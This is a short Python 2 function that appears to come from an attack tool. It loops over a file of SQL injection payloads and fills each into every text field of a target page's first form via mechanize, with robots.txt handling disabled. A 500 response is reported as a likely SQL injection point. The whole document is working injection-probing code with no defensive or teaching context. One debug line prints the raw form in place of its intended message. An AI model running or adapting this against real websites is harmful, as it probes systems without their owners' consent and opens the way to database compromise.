1def sqli(target, sqli_list):
2
3 sqli_list = open(sqli_list)
4 for sqli in sqli_list.readlines():
5 sqli = sqli.rstrip()
6 br = mechanize.Browser()
7 br.set_handle_equiv(False)
8 br.set_handle_redirect(False)
9 br.set_handle_referer(False)
10 br.set_handle_robots(False)
11 br.open(target)
12 br.select_form(nr=0)
13 time.sleep(2)
14 for field in br.form.controls:
15 if field.type == "text":
16 br.form[field.name] = str(sqli)
17 print br.form#"! injecting {0}, in the form {1}, on the page: {2}".format(str(sqli), str(br.form.name), str(target))
18 request = br.click(type="submit")
19 response = br.open(request)
20 if response.code == 200:
21 print "No dice... 200 OK response"
22 if response.code == 500:
23 print "500 Internal Error, potential SQL with {0}".format(str(field))